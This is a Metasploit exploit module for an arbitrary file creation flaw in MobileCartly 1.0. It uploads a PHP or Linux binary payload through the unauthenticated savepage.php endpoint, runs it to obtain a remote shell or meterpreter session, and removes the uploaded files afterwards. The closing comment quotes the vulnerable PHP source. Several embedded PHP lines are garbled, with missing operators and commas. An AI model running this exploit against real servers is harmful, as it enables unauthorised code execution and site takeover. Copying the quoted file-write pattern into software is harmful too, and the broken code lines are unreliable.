MobileCartly 1.0 - Arbitrary File Creation Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
            'Description'    => %q{
                This module exploits a vulnerability in MobileCartly.  The savepage.php file
                does not do any permission checks before using file_put_contents(), which
                allows any user to have direct control of that function to create files
                under the 'pages' directory by default, or anywhere else as long as the user
                has WRITE permission.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
                    'sinn3r' #Metasploit
                ],
            'References'     =>
                [
                    ['EDB', '20422']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['linux', 'php'],
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
                    [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Aug 10 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
            ], self.class)
    end


    def check
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        res = send_request_raw({'uri'=>"#{base}/index.php"})
        if res and res.body =~ /MobileCartly/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end


    def get_write_exec_payload(fname, data)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
        <?php
        $f 
fopen("#{fname}""wb");
        
fwrite($fbase64_decode("#{p}"));
        
fclose($f);
        
exec("chmod 777 #{fname}");
        
exec("#{fname}");
        
?>
        |
        php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
        return php
    end


    def on_new_session(cli)
        if cli.type == "meterpreter"
            cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
        end

        @clean_files.each do |f|
            print_status("#{@peer} - Removing: #{f}")
            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    cli.shell_command_token("rm #{f}")
                end
            rescue ::Exception => e
                print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
            end
        end
    end


    def exploit
        @peer = "#{rhost}:#{rport}"

        #
        # Init target path
        #
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        #
        # Configure payload names
        #
        php_fname = Rex::Text.rand_text_alpha(5) + ".php"
        bin_fname = Rex::Text.rand_text_alpha(5)
        @clean_files = [php_fname]

        #
        # Generate a payload based on target
        #
        case target['Platform']
        when 'php'
            p = "<?php #{payload.encoded} ?>"
        when 'linux'
            bin_fname << '.bin'
            @clean_files << bin_fname
            bin = generate_payload_exe
            p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
        end

        #
        # Upload payload
        #
        print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
        res = send_request_cgi({
            'uri' => "#{base}/includes/savepage.php",
            'vars_get' => {
                'savepage'    => php_fname,
                'pagecontent' => p
            }
        })

        if not res
            print_error("#{@peer} - No response from server, will not continue.")
            return
        end

        #
        # Run payload
        #
        print_status("#{@peer} - Requesting '#{php_fname}'")
        send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})

        handler
    end
end

=begin
*facepalm*

<?php
    $page 
"../pages/" $_REQUEST['savepage'];
    
$content $_REQUEST['pagecontent'];
    
file_put_contents($page$content);
?>
=end